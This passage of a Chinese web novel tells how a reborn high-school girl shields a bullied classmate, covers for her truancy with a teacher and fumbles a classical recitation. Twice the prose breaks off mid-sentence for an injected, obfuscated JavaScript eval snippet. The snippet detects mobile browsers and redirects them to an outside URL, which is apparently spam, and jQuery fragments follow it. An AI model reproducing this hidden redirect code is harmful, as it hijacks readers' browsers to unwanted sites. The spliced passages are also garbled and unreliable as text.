想也知道,崔璇肯定是把没过期的都分出来给她了,赵明月摆手:“我不要那些,就要你书包里这堆。” 崔璇摇头,紧抓着书包带不肯放:“你喜欢吃什么,我给你买新的……” 这些都是过期食品,不能给赵明月吃。 “我不要新的,就要这些,”赵明月生怕崔璇节俭到连这些过期零食也要吃,打定主意非得带走:“放心吧,我不吃,我已经想好怎么处理了,肯定不会浪费。” 崔璇想说她也不会浪费。 她原本准备带回大伯家,藏到自己住的杂物间,大伯时不时会来翻东西,翻到了零食肯定会拿走吃掉……但这样的坏理由,她又说不出来。 听到的人,一定都会觉得她好坏。 说不出像样的理由,崔璇只好松了手,任由赵明月把书包拿走。 “这才对嘛……” 赵明月翻了翻书包,见崔璇把书本卷子都拿出去了,放心拉好拉链,往后一甩背在肩头。 即便昨天的危机已经渡过,但赵明月仍旧难以放松。 就如同刚刚阻止的这场欺凌,她总觉得在她看不见的地方,在崔璇未说出口的曾经,在某个她未知的时间角落,崔璇仍旧会受到伤害。 她恨不得时时刻刻把崔璇放在眼皮底下,挂在身上,攥在手里,才能确认崔璇是安全的,才能把心放回肚子里。 “中午放学先别走,在班里等等我,跟我一块去吃饭,你书包已经落我手里,要是不等我,我可就不还了……” 崔璇小心问:“只是……只是今天中午吗 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17550712|204324||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ?” “是啊,”赵明月笑眯眯道:“今天只是中午。” 毕竟下午上完课就放假了,她要直接把崔璇拐回家。 “以后…也要吗?”崔璇小声问,她到底不是傻子,听不懂‘今天只是中午’的意思。 赵明月没有直接回答,而是反问:“你想要吗?以后。” 崔璇沉默。 如果只是今天中午,或者这几天中午请赵明月吃饭,她说什么也会答应的,可要是以后都要,甚至不止午饭……她还要赚钱住宿,没有那么多时间。 可如果拒绝……被拒绝是一件很让人难过、难堪的事,她不能。 进退两难时,林以恒忽然敲了敲她桌面。 “你昨晚不在,晚自习留的作业写了吗?” 崔璇眸子睁大,后知后觉想起这件更加急迫的问题。 “不过要是因为请假不知道作业内容,老师应该不会说什么,”林以恒托着下巴,目光看向赵明月:“你们昨天待在一起,应该都跟班主任请假了吧?” 赵明月:…… 赵明月:……! 崔璇昨天好像,确实提了晚自习这事,她说什么来着,她……她是不是随口答应会给崔璇处理好这件事? 但那时的她还以为自己尚在梦中。 这么大一个、活生生的崔璇在她面前晃,不知道一切是真实还是短暂幻梦的情况下,她恨不得把眼睛,把心,把五感都黏在崔璇身上,哪里还能分心想别的? 这就造成如今很尴尬的局面。 她是艺术班的,艺术班晚自习一般都是专业练习。美术去画室,音乐去琴房,舞蹈去练功厅。 因为学生去向太过分散,老师只会各处巡查转转,但专业教室高一高二的艺术生都有,就算偶尔缺那么几个人也不会被发现。 可其他班的晚自习,大部分都是正常上课,晚自习老师不讲课也会在班里盯梢,突然空一个位置很容易被发现。 好吧……已经被发现了。 诡异地沉默几秒,赵明月视线漂移一瞬:“…呃……” 重生以来遇到的最大危机就在眼前。 怎么说才能保住她在崔璇心里的形象?在线等,急急急! 16. 第16章 林以恒目光从赵明月身上转回来:“看她这样八成没给你请假,自求多福吧。” 崔璇赶忙解释:“是我忘了请假,跟她没关系的!” 赵明月帮她,她陪赵明月去蛋糕店是应该的。 况且要不是跟赵明月一起去了蛋糕店,她也不会遇到奶奶,见到奶奶后她肯定不会再回去,所以逃课是她本来就会做的事,跟赵明月无关,赵明月当然没有帮她跟老师请假的义务。 只是一想到要见老师,要当面跟老师解释,她心里不由有些发憷。 “就这么认定我没请假了?” 赵明月屈指轻弹一下崔璇脑门,又伸手在她发顶一顿乱揉:“我说到做到,把心放肚子里不要乱想,只要记住中午等我就行。” 没等崔璇回应,赵明月已经背着那一书包过期零食扭头走了。 崔璇顶着被揉乱的头发,呆呆看着她的背影消失在门外,才一脸纠结地慢慢抬手,捋顺头发。 林以恒垂眸,像是不经意问:“你昨天去赵明月家里了?什么时候跟她这么熟了?” 后桌兴致勃勃加入讨论:“是啊是啊!你们什么时候关系这么好了?赵明月居然还专门过来给你送感冒药!以前也没听说你跟她认识啊……” 崔璇不知道怎么回答这个问题,但注意到了一点:“你们也认识赵明月吗?” 赵明月从头到尾都没自我介绍,但班里同学看上去对她好像并不陌生。 “你没听过赵明月吗?” 又有几人加入讨论: “去年十佳歌手她不是还拿奖了?那天晚上有好几个在校园墙上跟她表白的!咱群里那时候不也在聊她?” “我那时还以为她是学唱歌的,谁知道竟然是学美术的。” “她虽然是艺术班的,但成绩还挺好,稳定年级前十,一直都在第一考场!第一考场啊,我都没去过,好想试试去第一考场考试什么感觉……” “她成绩好有什么用?最后考大学看的还是专业成绩,跟文化分又没关系……” “我闺蜜分班之前跟赵明月是同班同学,高一那时候不是有艺考培训的过来招生吗?那个表演老师一进班就盯上赵明月了,知道人家从小学美术成绩很好也不想放弃,说就算赵明月从小学美术,走表演这条路也不会比美术差。赵明月拒绝之后还三番两次去找她做思想工作,我闺蜜说要不是学校看得严,那老师说不定都想把赵明月绑走……” “夸张了吧?好多长得好看的人不一定上镜啊,再说娱乐圈里好看的人那么多,也不是好混的,而且她长得有点凶吧,一看就不是娱乐圈喜欢的女演员类型,我看还是踏踏实实学美术好。” “但学表演可比学美术前途好多了!你想想那些出名的演员明星一天能赚多少钱?不比她学美术赚得多?” “又不是所有人都一心赚钱,人从小学画画肯定是喜欢啊,指不定将来就想干这个呢……” 几个同学说着说着开始争辩表演和美术的前途,显然已经忘了最开始想问崔璇的问题。 崔璇悄悄松口气之余,心底却莫名生出些自己也说不清道不明的酸涩。 赵明月……原来在学校那么出名,家境那么好,那么厉害啊。 * 被念叨的赵明月背着书包,拐进了四楼办公室。 陈老师正在看教案,听到有人叫自己,抬头看去时还有些惊讶。 “赵明月?” 分科前赵明月是一班学生,还是班长,后来这位成绩很好的班长去了艺术班,一班班主任痛心疾首念叨了好久,导致她对赵明月印象颇为深刻。 “你来找我吗?” “老师您好,我是来跟您道歉的。我昨天发烧烧晕了,父母也不在家,实在没办法只能拜托崔璇送我回家。” 赵明月轻叹:“她一直惦记着得给您请假,我说到家了就拿手机跟您发消息,没想到后边烧得太厉害,把这么重要的事都忘了,实在对不起您跟崔璇。” 提起这事,陈老师立马回忆起不太愉快的昨天。 正在其他班上晚自习时,林以恒突然过来跟她说崔璇不见了。 崔璇是个老实孩子,不会无缘无故翘课,她想给崔璇家长发消息,结果崔璇家长没进班级群,打崔璇留的联系人电话,还是个空号。 家人联系不上,学生人又找不到,险些没把她急死,后来找同事替课,开车到崔璇留的家庭地址,敲了半天门,还挨了一顿臭骂,好在知道崔璇没出事。 现在想起昨晚崔璇爸爸骂她的那些脏话,老师就觉得心里难受,可这事儿又不能怪崔璇,有那样的家长,崔璇恐怕也受了不少苦。 这算什么事啊。 陈老师叹气:“你让崔璇过来一趟吧,我得跟她聊聊。” “老师,这事儿都怪我……” “不是因为这个,”陈老师拍拍她胳膊:“我昨天打她留的电话是个空号,所以让她来核对一下,看是不是留错号码了。” 赵明月:“估计是后来换号忘了跟您说,这个简单,我给您写两个现在用的号码,崔璇正忙着补后来留的作业呢,老师您能不能别叫她来了?” 陈老师想了想崔璇的性格,还是同意了,看赵明月在表格上刷刷刷写下两串电话号码,还有些好奇。 从前联系人要记号码,但智能手机普及的年代只需要记住备注,除了自己和家人,如今已经鲜少有人还会背别人的电话号码。 “你还能记下来她家长电话呢?” 赵明月笑笑:“我跟她是好朋友嘛。” 她哪知道崔璇家长电话,那俩一串是她的电话,一串是她妈的。 电话号码的更改只是第一步,崔璇那大伯更是个不定时炸弹,接下来无论如何她都会想办法把崔璇留在身边,留在家里。 这一次她会扫清上一世崔璇遇到的所有崎岖坎坷,杜绝所有危险靠近崔璇,她会亲自看着崔璇安安稳稳度过高中,考入大学。 离开办公室时,预备铃刚好响起,走廊上还没进班的同学纷纷加快脚步,有的已经飞奔起来。 临近三十,重回青春年少,是一种什么感觉呢? 走在校园里,抬眼所及陌生又熟悉,每一片建筑都承 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17550713|204324||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 载着诸多回忆。 曾经那是无法抵达的过去。 如今是她触手可及的当下。 抬眼皆是无尽可能的未来。 青春与希望,年少与未来,不再是裹挟着迷雾的迷宫,一条清晰坦荡,全由掌控的路,就在她脚下铺开。 她知道如何选择能避开上辈子的遗憾,她知道向哪转弯可以踏上康庄大道。 人生的剧本对她明牌,想要的一切都唾手可得,再无阻碍。 “来,赵明月打个样,背一下《滕王阁序》。” “……蛤?” 跟她前后脚到的语文老师站在讲台上,敲敲桌面:“《滕王阁序》没背吗?我昨天不是说今天早读要抽查?” 赵明月:…… 可对她来说,这是十二年前的昨天啊!! 走出校园十几载,谁还记得这玩意? 迎着老师略带疑惑的目光,赵明月努力从脑子里翻寻那点可怜的,残存的记忆,磕磕绊绊开始背诵:“腾,滕王阁序…腾…滕子京谪守巴陵郡,越明年,政通人和,百废俱兴,乃重修岳呃……” “重修……” 修…… 等等,好像哪里不对。 语文老师没好气道:“重修啥?怎么不继续往下背了?” 班里顿时爆发一片哄笑声。 “岳阳楼爆改滕王阁了哈哈哈哈……” “滕子京修滕王阁不是很合理吗!” 语文老师敲敲讲台,伸手一点:“笑的最欢的那几个,来,你们起来,挨个背。” 班里笑声一收,瞬间安静了。 被点起来的三个磕磕巴巴,只有一个勉强背下来,语文老师站在讲台上,板着脸向下看。 点了个把头埋进高耸书本堆里的。 点了个低头捡笔的。 点了个看起来在认真复背的。 大丰收。 看着一个个拔地而起丧眉搭眼的蔫萝卜,语文老师差点气笑:“滕王阁序就这么几段,背五天了还没背下来?到底是课文难背还是没下功夫自己心里清楚哈!也怪我!怪我对你们管得太松!” “现在小组长挨个过来找我背,其他同学跟小组长背,下课前还没背完的记下来名字交我这,滕王阁序一人抄三遍,明天之前,带着罚抄过来找我背。” 语文老师瞪了眼赵明月:“还有你,你怎么回事啊赵明月?现在给你一次重新背的机会,你背不背?不背就要罚抄了啊。” 赵明月有苦难言。 她趁老师点其他人背的时候紧急翻书,以为凭自己从前背得滚瓜烂熟的惯性记忆,重新拿下这区区一篇课文不成问题。 可翻开十二年前的课本,看着那一行行什么“棨戟遥临”“披绣闼,俯雕甍”“舸舰迷津,青雀黄龙之舳”,什么“穷睇眄于中天”“慕宗悫之长风”……赵明月两眼一黑。 乍一看有些字都不确定读音,甚至有的想读半边都不认识,这还怎么速背? 这不对吧?她拿的不是爽文剧本吗? 怎么奋斗十二载,归来成文盲啊。 17. 第17章 有心解释,可实话实说听起来才像最离谱的谎言。赵明月垂头丧气摆手,表示自己背不了。 老师这下也无话可说:“你…你们几个罚抄三遍,抄完大课间之前来找我背,坐吧。” 赵明月心事重重地坐下。 同桌齐韵凑近叽叽喳喳:“怎么回事?这篇你不是早背会了吗?” 赵明月双目失神:“是啊,这是怎么回事,我不是早就背会了吗……” 多少年没吃过学习的苦,怎么现在又要重来一遍高二高三? 考不完试的背不完的书,写不完的作业画不完的画……她好像才意识到,未来前途是挺光明,但现在的人生非常、极其黑暗啊! 换做以前文过专排倒没什么,她现在文化再低过线也绰绰有余,可她记得录取政策改革就在这届。 摈弃以往文过专排的录取方式,专业文化各自按照一定比例,计算综合分排名录取。 对十八岁的赵明月来说文化手到擒来,可对于现在的赵明月来说…… 头好疼,脑子能不能快点长出来。 重回校园第一课,从滕子京…不是,从滕王阁序罚抄开始。 笔尖触碰纸面,不再是线条勾勒起稿,而是一笔一划,略带生疏地抄写课文。 二十分钟窸窸窣窣的摩擦声里,笔触从生硬到流畅。 手指逐渐生出酸软痛感,也让赵明月那颗浸润希望如在云端,飘然浮躁的心,在一笔一划中沉回地面。 下课铃响,赵明月放下笔,轻轻呼出一口气。 透过这张洋洋洒洒写满课文的纸,她仿佛看到小山堆似的,曾经学了十几年,如今却已忘个干净的课本知识。 将这些重新捡起当然不容易。 可她又想到崔璇。 想到那块冰冷的碑、想到崔璇一到阴雨天就疼的脚、想到崔璇藏在枕头下的,崔奶奶的照片。 想到曾经压在肩头山岳般的债,想到过世的父母、被牵连的亲人、主动疏远的朋友…… 人生在世,不如意者十之八九,能回到过去弥补遗憾,已经是占了天大的便宜,哪能奢求占尽好处? 不过是从头再来…… 不过是从头再来! * 大课间跑操因为跑道积水取消,赵明月在找老师背课文和去看崔璇之间犹豫,最后还是决定去背课文。 她怕崔璇见到她会找借口推拒中午邀约,可又担心有人欺负崔璇,去办公室前特意往崔璇班级路过一遭,透过窗户看见崔璇安安静静埋头写东西,才放心绕回办公室。 崔璇一直在补作业,应该是赵明月帮她请假的功劳,所以老师查作业看到她没写完什么也没说,但崔璇还是觉得自己应该补上。 等补完作业已经是最后一个课间,崔璇赶去赵明月班外,却发现教室里只寥寥坐着几个人。 赵明月不在,崔璇在走廊徘徊到预备铃响,也没能鼓起勇气进班打听。 班里人那么少,应该是去上音体美的课程了,赵明月说放学找她,如果她跑快一点,能在赵明月来之前跑出去请完假,再跑回来吗? 崔璇觉得应该不太行,可要是等到赵明月,再跟赵明月说等她一会儿……会浪费赵明月好多时间。 最后一节课崔璇上得心不在焉,盯着自己在草稿纸上打的那些腹稿,忽然看向同桌。 “林…林以恒,”趁老师让做题的间隙,崔璇埋头,用气音小声跟同桌说话。 林以恒抬起眸子:“嗯?” 崔璇鼓起勇气:“我去找赵明月了,但没找到她,一会儿下课我要,先出去一趟,我怕赵明月来的时候看不到我……你今天,还是要等二十分钟再去食堂吗?” 刚下课正是食堂人最多的时候,林以恒不喜欢排队,不喜欢抢位置,不喜欢闹哄哄挤在一起的食堂,所以习惯放学后留在教室写题,等二十分钟再去。 这确实是她的习惯。 “今天不是,”林以恒垂眸,笔尖在草稿纸上游动:“今天我要洗头,下课就去吃饭。” “噢,”崔璇脸皮有点发烫,缩着脑袋挪回去,讷讷道歉:“好,好的…不好意思,打扰你了……” 林以恒垂下的目光再度抬起,定定看了崔璇几秒,唇角短促地向上扯了扯,近乎嘲讽和嗤笑,又很快恢复平静。 “留张纸条也一样,她来了就能看到。” 崔璇也想过,但总觉得留纸条不如亲口说靠谱,只是现在也没 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可崔璇就是闷声不说,甚至对老师口中发怒的原因信以为真,真觉得是因为她先老师一步出教室,从那之后不论什么课,不论别人有没有先出教室,她也总等到老师出去再跑走。 下课铃响起,听到老师说下课,崔璇立刻把练习册和笔塞进桌兜,将纸条压在桌子正中央,而后紧张地盯住讲台上慢悠悠收拾的老师。 老师收拾没两下又拿出手机再看,崔璇眼睛睁大脊背挺直,手指不自觉攥起,看看门口已经出去的同学,再看看讲台上还在看手机的老师,抿唇拧眉低头几秒,偷偷瞥一眼老师,竟然弓着身提前出去了。 崔璇走出教室就跑起来,林以恒看着崔璇的身影在中间窗户一闪而过,停顿几秒,才淡淡收回目光。 为了赵明月,崔璇竟然敢破例比老师先出门。 还有赵明月。 赵明月为什么会帮崔璇?按照赵明月一惯的行事作风,处事准则,不是最讨厌崔璇这样逆来顺受逃避反抗的人么? 是没认清崔璇的真实性格? 林以恒视线低垂,扫过那张被杯子压住的纸条。